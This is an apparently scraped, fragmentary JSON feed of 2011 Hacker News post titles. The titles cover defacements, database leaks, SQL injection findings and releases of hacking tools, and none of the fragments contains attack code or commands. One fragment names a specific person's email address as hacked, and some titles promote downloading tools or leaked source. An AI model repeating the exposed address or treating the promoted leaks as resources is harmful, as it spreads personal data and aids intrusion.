":"http://thehackernews.com/2011/07/ec-council-academy-hacked-by-gaysec.html","title":"EC-Council Academy Hacked by GaySec (Malaysian hackers)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-RRCVY7oO62A/TiCm3Xt6opI/AAAAAAAACfU/RIsJWrEW8o8/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
"href":"http://thehackernews.com/2011/07/songspk-hacked-by-indishell-against.html","title":"Songs.pk hacked by Indishell Against Mumbai blasts"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-a-bjQCK4JHU/TiBbBwkFEAI/AAAAAAAACfI/JcafwIWzd-U/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
hackernews.com/2011/07/yellowstone-county-website-hacked-tax.html","title":"Yellowstone County website hacked - Tax Payers Information at Risk"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/_c81rux_QmCo/S7jJt2QjB-I/AAAAAAAAHG8/3DqtuI5VtV0/s72-c/yellowstone1.jpg","height":"72","width":"72"
...[SNIP]...
"type":"text/html","href":"http://thehackernews.com/2011/07/armitage-071211-updated-version.html","title":"Armitage 07.12.11 - Updated Version"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-lBKAkgmwChI/TiAHUcQPhoI/AAAAAAAACfA/urnpypGOcnk/s72-c/Armitage.png","height":"72","width":"72"}},{
...[SNIP]...
"type":"text/html","href":"http://thehackernews.com/2011/07/rfid-bootable-live-hacking-system.html","title":"RFID bootable Live Hacking System"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-ql4pSbBzVL0/TiAHxQiQQqI/AAAAAAAACfE/oBwMO_GMCRc/s72-c/HackerTool.png","height":"72","width":"72"}}
...[SNIP]...
html","href":"http://thehackernews.com/2011/07/pentagon-admits-to-biggest-ever-data.html","title":"Pentagon Admits to biggest ever data breach"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-Q3QMBiE4_LU/Th_aquU_H2I/AAAAAAAACe8/8L4yXwHppYs/s72-c/cyberwar-exercise-airmen-02.jpg","height":"7
...[SNIP]...
:"text/html","href":"http://thehackernews.com/2011/07/uk-vodafone-phone-hacking-method.html","title":"UK Vodafone Phone Hacking method exposed"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-KQYOcmiKEb4/Th74pVcANyI/AAAAAAAACe0/opGozP1ffzI/s72-c/femto-backend.jpg","height":"72","width":"72
...[SNIP]...
href":"http://thehackernews.com/2011/07/putty-v061-new-version-released-after-4.html","title":"PuTTY v.0.61 New Version released After 4 years"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-cG2_8S37jOU/Th6PPn4firI/AAAAAAAACew/gXllIl7lQ5g/s72-c/putty-openssh-3.gif","height":"72","width":"
...[SNIP]...
","href":"http://thehackernews.com/2011/07/rootrepeal-rootkit-detector-v135.html","title":"RootRepeal ... Rootkit Detector v1.3.5 Download Now"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-RU5Aj6f5Dxk/Th3tf-Loi_I/AAAAAAAACes/TrNE-WTZ_20/s72-c/rootrepeal.gif","height":"72","width":"72"}}
...[SNIP]...
ef":"http://thehackernews.com/2011/07/toshiba-database-hacked-and-user.html","title":"Toshiba Database hacked and User accounts leaked by V0iD"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-LoFK02Fb1tE/ThzRse8LSZI/AAAAAAAACeo/czc_8I8CSrk/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
:"http://thehackernews.com/2011/07/national-assembly-of-pakistan-database.html","title":"National Assembly of Pakistan database hacked by V0iD"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-WJ-pOaO8uXk/ThzP4jGaNcI/AAAAAAAACek/s8IaTIBwsN0/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
tp://thehackernews.com/2011/07/project-tarmeggedon-by-anonymous.html","title":"Project Tarmeggedon by Anonymous Hackers Operation Green Rights"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-U5LkbeXVqA4/ThzB1Ix7VtI/AAAAAAAACeg/30AJxSYfG0o/s72-c/OpGreenRightsmain.jpg","height":"72","width"
...[SNIP]...
s.com/2011/07/microsoft-vulnerability-in-bluetooth.html","title":"Microsoft Vulnerability in Bluetooth Stack Could Allow Remote Code Execution"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-xNXW7F4XmQY/Thy7RxlKQ1I/AAAAAAAACec/tRQH_cgVTpI/s72-c/virus.jpg","height":"72","width":"72"}},{"id
...[SNIP]...
,"href":"http://thehackernews.com/2011/07/421-ftp-hacked-and-logins-leaked-by.html","title":"421 FTP hacked and logins leaked by PiraX hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-XJNdbxO8_rk/Thy4--vBYiI/AAAAAAAACeU/_FbZnOV4cMo/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
011/07/international-organization-for.html","title":"International Organization For Migration database hacked by Inj3ct0r Team for GREEN LIBYA"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-0tehCyQdkKg/ThxZHiKF-hI/AAAAAAAACeE/2t_YhVv71hg/s72-c/FreeLibyaIsGreenLibya.jpg","height":"72","wi
...[SNIP]...
thehackernews.com/2011/07/exploitsearchnet-exploit-vulnerability.html","title":"Exploitsearch.net - Exploit \u0026 Vulnerability Search Engine"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-1DId7ThqUpA/ThxWgpW1F4I/AAAAAAAACeA/kG_ffsoS0rU/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
tp://thehackernews.com/2011/07/wpscan-wordpress-security-vulnerability.html","title":"WPSCAN - WordPress Security \u0026 vulnerability Scanner"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-WGbi7HKRzbk/ThxTqbe830I/AAAAAAAACd8/ZfKSWRYYvjo/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
/html","href":"http://thehackernews.com/2011/07/265-brazilian-websites-hacked-by-tota-x.html","title":"265 Brazilian websites hacked by tota-x"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-EpnKvmHVtAU/ThvvuytAgLI/AAAAAAAACd4/St-EgvSfaH4/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ext/html","href":"http://thehackernews.com/2011/07/gmer-automating-rootkit-analyzer.html","title":"GMER - Automating Rootkit Analyzer Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-ZfH5Nfr0wRY/ThvuEMvYI7I/AAAAAAAACdw/lEeMrlN_o0w/s72-c/gmer.jpg","height":"72","width":"72"}},{"id"
...[SNIP]...
ehackernews.com/2011/07/90000-military-email-accounts-leaked-in.html","title":"90,000 Military Email Accounts Leaked in Latest #AntiSec Attack"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-3jOh8eY9RG8/ThtTU1VFP_I/AAAAAAAACdk/s-eXBtDirxs/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/07/david-beckham-official-website-hacked.html","title":"David beckham official website hacked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-UcBcutkVDn4/ThpqT4jRQQI/AAAAAAAACcE/Tg7shEHLs4c/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
:"http://thehackernews.com/2011/07/viaextract-forensic-tool-for-android.html","title":"viaExtract - Forensic tool for Android devices released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-X_UUr3s__KM/Thkh2eimq9I/AAAAAAAACcA/a7dHrfXNFlo/s72-c/augen_gentouch78.jpg","height":"72","width":
...[SNIP]...
ref":"http://thehackernews.com/2011/07/android-botnet-command-and-control.html","title":"Android Botnet : Command and Control Channel over SMS"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-EnOXUGnGFfY/ThkXAY6J-GI/AAAAAAAACb8/bcr0Z-c-84k/s72-c/2965961083_5f6003646d.jpg","height":"72","wi
...[SNIP]...
news.com/2011/07/xss-harvest-harvesting-cross-site.html","title":"XSS-Harvest: Harvesting Cross Site Scripting, Clicks, Keystrokes and Cookies"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-qTEWwRkXm8Q/ThkVEi7Jj4I/AAAAAAAACb4/18MQtID0-NE/s72-c/http.jpg","height":"72","width":"72"}},{"id"
...[SNIP]...
//thehackernews.com/2011/07/isi-chief-ahmed-shuja-pasha-email-id.html","title":"ISI Chief - Ahmed Shuja Pasha Email ID hacked by Indian Hacker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-wlGzi4rbILk/Thgh4GQypII/AAAAAAAACbI/jMHN_PPj0PQ/s72-c/4.jpg","height":"72","width":"72"}},{"id":{"
...[SNIP]...
thehackernews.com/2011/07/stevens-institute-of-technology.html","title":"Stevens Institute of Technology database leaked by p0keu for #Antisec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-ziVXXKb-234/ThgTXNyHayI/AAAAAAAACbE/rQ8XSDzNtfI/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
nate","type":"text/html","href":"http://thehackernews.com/2011/07/xerxes-most-powerful-dos-tool.html","title":"XerXes - Most powerful dos tool"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-e5C-jNWEGf4/ThgOAPyhjRI/AAAAAAAACbA/NzYRF3Pe-IQ/s72-c/jester.jpg","height":"72","width":"72"}},{"i
...[SNIP]...
http://thehackernews.com/2011/07/808-indian-websites-hacked-by-zhc.html","title":"808 Indian Websites Hacked By ZHC MongOse \u0026 ZHC Toshiro"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-rGXF5fPHB_w/ThgGPeJ7BII/AAAAAAAACa8/37uhezUrIdE/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
/html","href":"http://thehackernews.com/2011/07/anonymous-hacks-fbi-contractors-irc.html","title":"Anonymous Hacks FBI Contractors IRC Federal"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-4BuYzbT1-j8/ThdNyya3J1I/AAAAAAAACa4/craF3uTswE8/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
ernews.com/2011/07/switzerland-italian-police-arrest-15.html","title":"Switzerland \u0026 Italian police arrest 15 suspected Anonymous members"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-JPoQsz4R_yo/ThdFMJkInAI/AAAAAAAACa0/xBMB0EbB904/s72-c/ArrestedAnonymous.jpg","height":"72","width"
...[SNIP]...
href":"http://thehackernews.com/2011/07/german-federal-police-servers-hacked-by.html","title":"German Federal Police servers Hacked by NN-Crew"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-Pu2s7K6s4R4/ThcHIDg0GVI/AAAAAAAACas/0uFGl6VRa6I/s72-c/depolice.png","height":"72","width":"72"}},{
...[SNIP]...
//thehackernews.com/2011/07/hellenic-parliament-greek-websites.html","title":"Hellenic Parliament ( Greek ) Websites hacked, Database Leaked !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-BHx6Hc-Ogi4/ThaWYVyEsVI/AAAAAAAACak/J77MkmICBK4/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/07/florida-election-center-website-hacked.html","title":"Florida election center website hacked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-amkbKwWZQQ8/ThaQjKb01cI/AAAAAAAACac/0EfJv_WGu7Q/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
":"http://thehackernews.com/2011/07/durandal-distributed-cpugpu-hash.html","title":"Durandal - Distributed CPU/GPU Hash Cracker v 0.5 released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/--HUj6bMKmn8/ThW2FE-SxZI/AAAAAAAACaY/yqeQt4nQauc/s72-c/gpucracking.jpg","height":"72","width":"72"}
...[SNIP]...
hackernews.com/2011/07/turkish-takedown-thursday-74-turkish.html","title":"Turkish Takedown Thursday - 74 Turkish websites defaced by #Antisec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-y7D58-9ZMGg/ThU-7ursMUI/AAAAAAAACaU/mUehRn47ytY/s72-c/opt.gif","height":"72","width":"72"}},{"id":
...[SNIP]...
ate","type":"text/html","href":"http://thehackernews.com/2011/07/scriptmafiacom-database-leaked.html","title":"ScriptMafia.com Database Leaked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-F1Xk5yMDJeE/ThU85cwKqOI/AAAAAAAACaM/GAYSxpXeC14/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
ackernews.com/2011/07/anonymous-lulzsec-personal-information.html","title":"Anonymous \u0026 Lulzsec Personal Information leaked by TeaMp0isoN"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-aZVlOVXTRC4/ThSf-tCa71I/AAAAAAAACaE/_lBV_3t22DY/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
"text/html","href":"http://thehackernews.com/2011/07/bpm-database-leaked-by-p0keu-for.html","title":"BPM Database leaked by p0keu for #AntiSec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-o_98SPPfXq8/ThR9_r1UtrI/AAAAAAAACaA/lX_INg0sok8/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
"http://thehackernews.com/2011/07/dukascopy-forex-swiss-bank-vulnerable.html","title":"Dukascopy: Forex Swiss Bank Vulnerable to SQL Injection"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-JUiNlV4fnGc/ThR7wwK9-YI/AAAAAAAACZo/PRPYPt2FvMI/s72-c/Dukascopy.jpg","height":"72","width":"72"}},
...[SNIP]...
ef":"http://thehackernews.com/2011/07/italian-universities-dump-database.html","title":"Italian Universities dump database Leaked by LulzStorm"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-2RgKImixolM/ThR3gdzwzXI/AAAAAAAACZk/Rad_qPZMqPo/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
mail ID got hacked by Rapt0r - Anonymous Operation #AntiSec"},"summary":{"type":"text","$t":"Roger Ebert Email ID got hacked by Rapt0r - Anonymous Operation #AntiSec\n\n\nRoger Joseph Ebert's Email ID answerman@gmail.com hacked by....Rapt0r for Anonymous Operation #AntiSec...Roger Joseph Ebert..is an American film critic and screenwriter. He is the first film critic to win a Pulitzer Prize for Criticism.\n\n\nHacker G
...[SNIP]...
kernews.com/2011/07/roger-ebert-email-id-got-hacked-by.html","title":"Roger Ebert Email ID got hacked by Rapt0r - Anonymous Operation #AntiSec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-XNrQZAFJWyE/ThPzzvVV85I/AAAAAAAACZY/IZwX9MEkCu8/s72-c/Untitled1.png","height":"72","width":"72"}},
...[SNIP]...
ef":"http://thehackernews.com/2011/07/hackers-posts-fake-celebrity-stories-on.html","title":"Hackers posts fake celebrity stories on Sony site"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-BU0CtO9HnDs/ThPvpnnq9dI/AAAAAAAACZU/Ed5X28t5tPA/s72-c/sony-ireland.jpg","height":"72","width":"72"
...[SNIP]...
tp://thehackernews.com/2011/07/lulzsec-releases-final-message-to.html","title":"Lulzsec Releases Final Message to the friends around the globe"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-klubu6S3HAE/ThPqsNVuLAI/AAAAAAAACZM/ij1BEszxy7I/s72-c/LulzSec-Lulz-Boat1.jpg","height":"72","width
...[SNIP]...
kernews.com/2011/07/anonymous-leaks-nimbuzz-data-for.html","title":"Anonymous leaks Nimbuzz data for collusion with pro-censorship governments"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-fJyjosi8fD8/ThPm3Uj2vqI/AAAAAAAACZI/vQrSDL65OcU/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
f":"http://thehackernews.com/2011/07/paypal-uk-twitter-account-hijacked-by.html","title":"PayPal UK Twitter account hijacked by angry customer"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-LiwTgsJ2T1w/ThPj5WZPToI/AAAAAAAACZE/WtfU0n4cSM0/s72-c/Screen_shot_2011-07-05_at_21.14.52.png","hei
...[SNIP]...
ehackernews.com/2011/07/video-demonstration-vsftpd-backdoor.html","title":"Video Demonstration : Vsftpd backdoor discovered by Mathias Kresin"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-eAVbVspxNeI/ThKVnPvmB3I/AAAAAAAACZA/5pGjN4KQlus/s72-c/vsftpd.jpg","height":"72","width":"72"}},{"i
...[SNIP]...
p://thehackernews.com/2011/07/nato-server-hacked-by-1337day-inj3ct0r.html","title":"NATO Server Hacked by 1337day Inj3ct0r and Backup Leaked !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-nQDhBw3lRfA/ThIqU4BqP7I/AAAAAAAACYw/lKuaPMy61ks/s72-c/natologo.gif","height":"72","width":"72"}},{
...[SNIP]...
ml","href":"http://thehackernews.com/2011/07/redhack-deface-1000-sites-for-turkey.html","title":"RedHack deface 1000 sites for Turkey #AntiSec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-lBMzdLeaZA0/ThIZfwq46iI/AAAAAAAACYg/hk3MKlWjpzg/s72-c/21553_1315246554908_1043018372_31229907_1314
...[SNIP]...
l","href":"http://thehackernews.com/2011/07/fox-news-twitter-account-hacked-by.html","title":"FOX News Twitter Account Hacked by 5CR1PT K1DD3S"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-e2g1sjDJoj4/ThFNez4TC4I/AAAAAAAACYU/ezqA_NG17KE/s72-c/FOX-NEWS-TWITTER-HACKED.jpg","height":"72","
...[SNIP]...
html","href":"http://thehackernews.com/2011/07/microsoftcombr-brasil-hacked-by-tg.html","title":"Microsoft.com.br (Brasil) hacked by TG hacker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-ev1cel28SRI/ThFIhUv_2EI/AAAAAAAACYM/NdP8PQrOgvQ/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/07/oracle-website-vulnerable-to-sql.html","title":"Oracle website vulnerable to SQL injection"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-YeLf-CVwF_4/ThFESe2hmfI/AAAAAAAACYI/wSux-4rVBeM/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
on-blind-sql-injection.html","title":"Iframe Injection \u0026 Blind SQL Injection vulnerability on Apple.com exposed by Idahc(lebanese hacker)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-E-hnMmV-t8Q/ThE5pEPT0sI/AAAAAAAACYA/GLXujyWpRfY/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
"href":"http://thehackernews.com/2011/07/stuxnet-source-code-released-online.html","title":"Stuxnet Source Code Released Online - Download Now"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-hA8k6HUc_Vk/ThAg87Xe4PI/AAAAAAAACX8/3gTaR3-bvik/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
","href":"http://thehackernews.com/2011/07/apple-database-hacked-with-sql.html","title":"Apple database hacked with SQL injection by Anonymous"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-J6lZ10iWE8U/ThAfwXNeGwI/AAAAAAAACX4/kc1n1JUU9j4/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
//thehackernews.com/2011/07/4-big-business-sites-database-backup.html","title":"4 big business sites database backup leaked by Serious BLack !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-X76v74rgUTw/ThATPM3QJJI/AAAAAAAACX0/qcGS4GrFGgU/s72-c/hackers-kenny-jones-radio.jpg","height":"72"
...[SNIP]...
l","href":"http://thehackernews.com/2011/07/websurgery-v05-web-app-testing-tool.html","title":"WebSurgery v0.5 - Web app testing tool Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-3YaS6oxYgN8/ThAK59vqcLI/AAAAAAAACXw/xgEYZFbr7FA/s72-c/websurgery.png","height":"72","width":"72"}}
...[SNIP]...
ref":"http://thehackernews.com/2011/07/pepper-dating-site-hacked-by-anonymous.html","title":"Pepper (Dating site) hacked by Anonymous #Antisec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-ZctbTQ57JLc/ThAJeXuxRYI/AAAAAAAACXo/_-c_Tg49rjQ/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
ackernews.com/2011/07/trinity-indian-girl-hacker-strikes.html","title":"TriNity (Indian Girl Hacker) Strikes again to server with 690 websites"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-3dHvExaFUeo/ThAIZPz0cII/AAAAAAAACXk/Tf5ngQVkULw/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
http://thehackernews.com/2011/07/up-rajarshi-tandon-open-university.html","title":"UP Rajarshi Tandon Open University Allahabad Website Hacked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-X9cTfb8KHPA/Tg_IogYTlPI/AAAAAAAACXg/qTTgiKVN1_Y/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
":"http://thehackernews.com/2011/07/nmap-559-beta1-40-new-nse-scripts.html","title":"Nmap 5.59 BETA1 - 40 new NSE scripts \u0026 improved IPv6"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-yrbet18UC8c/Tg2xQHffQ7I/AAAAAAAACWU/GuKkAlYcRPg/s72-c/2dlogo.jpg","height":"72","width":"72"}},{"i
...[SNIP]...
